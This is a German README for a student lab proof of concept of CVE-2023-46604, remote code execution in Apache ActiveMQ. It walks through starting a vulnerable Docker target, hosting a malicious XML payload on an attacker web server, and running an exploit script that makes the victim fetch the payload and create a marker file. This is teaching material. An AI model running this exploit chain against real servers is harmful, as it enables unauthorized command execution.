
Ein PoC für CVE-2023-46604, erstellt im Rahmen der SPS-Vorlesung für den Masterstudiengang Advanced Cyber Security an der UPB.
Aufgabe: SSP Aufgabe 3 Team: RCE You Later Mitglieder: Banica Horia Alexandru, Comarlau Vlad-Constantin
Videolink zur Nutzung des Repos für das PoC: https://www.youtube.com/watch?v=vum4qTF4ygU
Dieses Repository enthält einen voll funktionsfähigen Proof-of-Concept (PoC) für CVE-2023-46604. Diese Schwachstelle ermöglicht einem Angreifer, beliebige Shell-Befehle auf einem anfälligen Apache ActiveMQ-Server (Version 5.15.10) auszuführen, indem er gezwungen wird, eine bösartige XML-Konfigurationsdatei zu deserialisieren.
Ziel: Erstellen einer Datei namens pwned_by_ssp_team auf dem Opfer-Server, um zu beweisen, dass wir die Kontrolle haben.
Stellen Sie vor der Ausführung des Exploits sicher, dass Sie Folgendes haben:
vulnerable-env/: Enthält die Docker-Konfiguration für den Opfer-Server.attacker/: Enthält die Exploit-Skripte und bösartigen Payloads.
exploit.py: Das Python-Skript, das das bösartige Paket sendet.serve.py: Ein einfacher HTTP-Server zum Hosten des XML-Payloads.poc.xml: Die bösartige Konfigurationsdatei, die den Befehl touch /tmp/pwned_by_ssp_team enthält.Wir führen eine alte, anfällige Version von ActiveMQ mit Docker aus.
vulnerable-env:
cd vulnerable-env
docker-compose up -d
Der Opfer-Server muss Anweisungen von uns herunterladen. Wir richten einen kleinen Webserver ein, um diese Anweisungen zu hosten.
attacker:
cd attacker
python3 serve.py
Jetzt senden wir das spezifische Netzwerkpaket, das die Schwachstelle auslöst.
Öffnen Sie ein drittes Terminal.
Navigieren Sie zum Ordner attacker:
cd attacker
Führen Sie das Exploit-Skript aus.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal durch das Gateway der Netzwerkbrücke, normalerweise: 172.17.0.1. Versuchen Sie, die Adresse wie folgt zu ermitteln, falls die vorgeschriebene nicht funktioniert: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'Hat es funktioniert? Überprüfen wir, ob die Datei im Container erstellt wurde.
/tmp im Opfer zu überprüfen:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team sehen.Um den anfälligen Container zu stoppen und zu entfernen:
cd vulnerable-env
docker-compose down